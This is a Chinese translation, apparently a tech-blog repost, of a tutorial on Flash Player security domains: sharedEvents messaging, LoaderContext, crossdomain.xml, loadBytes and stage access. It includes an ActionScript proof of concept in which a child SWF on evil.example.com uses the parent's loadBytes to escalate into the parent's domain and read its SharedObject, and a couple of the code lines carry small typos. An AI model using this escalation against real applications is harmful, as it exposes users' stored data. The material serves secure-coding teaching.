深入理解Flash的沙箱 – Security Domains_下

SWF Communication Without Trust 在非受信的SWF之间通讯

在某些情况下有可能要与其他来源不那么可靠的域中的SWF通讯,你并不希望完全信任该域,放开全部授权。对此LoaderInfo对象的sharedEvents属性提供了另一种机制。sharedEvents对象是唯一的一个可以在不同安全域中发送共享事件的对象。加载者和被加载者都可以通过这个对象来向对方发送事件。

通过sharedEvents对象发送的事件在两个域中都是完全受信的,这就使得在两个安全域中传递的任意数据都无需考虑安全问题。

警告:当心!通过sharedEvents对象传递了错误的数据仍然有可能把你的SWF中的数据暴露出去。比如你的事件包含了一个复杂对象,特别是显示列表上的对象,那么你的整个SWF都将暴露。

所以通过sharedEvents发送的事件应该限制为包含简单数据的事件类型,避免一些被包含后门的SWF程序加以利用。如果你要传递复杂的事件,那要在传递之前先做一下清理。

使用sharedEvents进行通讯的两个SWF需要确保发送和接收的是一致的事件类型。父SWF可以发出一种事件并监听另一种。子SWF可以监听父SWF发出的事件并发出父SWF中正在监听的事件。这些事件的名字可以是随意的。

下面的例子演示了在不同安全域中的父子SWF使用sharedEvents来通讯简单的文本信息的情况。父SWF发出“fromParent”事件,而子SWF发出“fromChild”事件。

http://safe.example.com/parent.swf:

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);
 
var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));
 
function fromChild(event:TextEvent):void {
	trace(event.text); // Good day
 
	var replyMessage:TextEvent = new TextEvent("fromParent");
	replyMessage.text = "Same to you";
	shared.dispatchEvent(replyMessage);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);
 
var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);
 
function fromParent(event:TextEvent):void {
	trace(event.text); // Same to you
}

任意的事件类都可以像这样用于传递信息,也包括自定义事件。再次强调,要当心不要把包含引用的数据(特别是显示列表上的对象)随着事件一起发送出去。这种情况的例子在场景的拥有者和获取权限章节中可以找到。

Merging Security Domains 合并安全域

如果两个域之间建立了信任关系,一个SWF就能把另外一个SWF加到自己的安全域内,就像是在相同的域下一样。

在这种情况下信任授权的处理有少许不同。首先,包含父SWF的域不需要指定什么,只要执行加载另一个SWF到当前的安全域就表示完全信任这个SWF。

其次,因为子SWF是立即被加载到父SWF的安全域中,并没有机会通过allowDomain进行信任授权声明。当子SWF可以执行allowDomain声明的时候,已经被加载并实例化到另外的域中。所以这种情况下,跨域策略文件将派上用场。实际上这也是跨域策略文件唯一适用于对SWF进行授权的情况。

Loading into another security domain

需要跨域策略文件把跨域的SWF加载到相同的安全域

要加载某个SWF到自己的安全域内,需要给Loader.load方法指定一个LoaderContext对象。LoaderContext对象的securityDomain属性设置为当前的安全域(SecurityDomain.currentDomain)。通过这样的加载方式,父SWF授信给子SWF,而子SWF的授信则需要通过跨域策略文件。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com
 
var loader:Loader = new Loader();
 
// 创建一个LoaderContext对象把子SWF加载到当前的安全域
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;
 
var url:String = "http://trusting.example.com/child.swf";
loader.load(new URLRequest(url), context);

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/child.swf:

trace(new LocalConnection().domain); // host.example.com

我们可以通过LocalConnection对象的domain属性来检查每个SWF所处的安全域。虽然子SWF原先所处的域是trusting.example.com,但是由于它被加载到父SWF所处的域中,所以子SWF最终所处的安全域是host.example.com。

用这个方式加载的SWF文件权力比用allowDomain授权的更加大。使用allowDomain授权,等同于说你能做什么,我就能做什么。而把SWF加载到同一个安全域,则等同于我能做任何事。在前一种情况下,子SWF只能调用父SWF下的代码,还是受限于父SWF中的定义。但是通过加载到相同的安全域,这些子SWF就可以在你的域下面做任意操作,这包括:

  • 获取父SWF中的任意引用
  • 读取主域中的所有文件
  • 读取其他授信给主域的所有域下的文件
  • 读取主域下的共享对象
  • 获取通过主域建立的共享连接通讯
  • 获取授信给主域的socket连接

所以在引入跨域SWF文件到你当前的安全域下的时候,你要确保这种权力不会被滥用。

使用包含安全域的LoaderContext对象的load方法不是能够引入跨域SWF到你的安全域的唯一方法。Loader类的另一个方法loadBytes也可以做到。和load不同的是,它不是用URL来加载外部内容,而是直接加载以ByteArray的形式加载对象。

由于ByteArray与域名之间没有关联,所以用loadBytes方法加载的对象将直接进入当前安全域内。因为你在加载包含这些字节对象之前往往都要经过某种信任授权,所以这通常是安全的。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com
 
var loader:Loader = new Loader();
 
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
 
// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
 
function bytesLoaded(event:Event):void {
	loader.loadBytes(urlLoader.data);
}

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/childbytes.swf:

trace(new LocalConnection().domain); // host.example.com

就和前面看到的例子一样,通过检查子SWF文件的LocalConnection.domain属性,使用loadBytes方法加载的子SWF也显示为相同的安全域。

警告:loadBytes方法有个小小的安全问题:可以把授信过的跨域SWF和加载到当前安全域下的SWF两者间的不同扯平。我们知道虽然这两者都是被信任的,但是就像上面的列表中提到的,后者比前者的权力更大。“你能做什么,我就能做什么”与“我能做任何事”之间的差别,结果可以变成没有差别。

这是因为授信过的跨域SWF文件可以访问父SWF的任何对象,包括父SWF对象的Loader实例,一旦拥有了对loadBytes方法的引用,这就意味着可以把某些字节对象加载到当前的安全域。

下面的这个例子展示了这种可能性:

http://good.example.com/parent.swf:

// 授权 "你能做什么,我就能做什么"
Security.allowDomain("evil.example.com");
 
// 应当受保护的数据
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();
 
var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));

http://evil.example.com/child.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined
 
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
 
var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
 
function bytesLoadedEvent):void {
	// 威胁!loadBytes加载了SWF数据到父SWF的安全域
	loaderInfo.loader.loadBytes(urlLoader.data);
}

http://evil.example.com/childbytes.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: ba

将来版本的Flash Player可能会改变这种行为,所以在程序中不要使用这种方法。我们应该关注的是加载授信过的SWF文件会带来的潜在威胁:暴露你的域下的所有数据。

Stage Owner and Access 场景的拥有者和获取权限

当第一个SWF文件被加载到Flash Player中的时候,它被加到显示列表的根上,也就是我们所说的stage对象。这也是Flash Player自己的显示对象的根。每个SWF都有代表自己主文档类或者主时间线的根(叫做root)。第一个被创建的SWF实例的根被放置于场景上,其他子SWF使用Loader对象的实例来加载。

场景的特别之处在于它本身就位于显示列表上,所有处于显示列表上的子SWF都可以取得它的引用,但是它只有一个拥有者:就是第一个被实例化的那个SWF。场景的拥有者决定了场景所连接的安全域。其他的SWF想对场景进行特殊操作的行为都必须获得场景所有者的信任授权。

你可能有注意到在过去的有些程序或者是组件中,被加载到不同的域(未授信)里的时候报错。这正是因为没有取得对场景对象进行操作的授权。因为场景对象是可以被引用的,但是诸如场景的addEventListener方法等却不可用,所以这很容易引起误解。

下面这个表格列出了场景对象限制非安全域对象访问的成员。可能不是100%精确,主要用于参考。

addChildaddChildAtremoveChild
removeChildAtgetChildIndexsetChildIndex
getChildAtgetObjectsUnderPointswapChildren
swapChildrenAtnumChildrentabChildren
mouseChildrenwidthstageWidth
fullScreenWidthheightstageHeight
fullScreenHeightqualityalign
scaleModedisplayStatefullScreenSourceRect
stageFocusRectshowDefaultContextMenucolorCorrection
addEventListenerdispatchEventhasEventListener
willTrigger  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值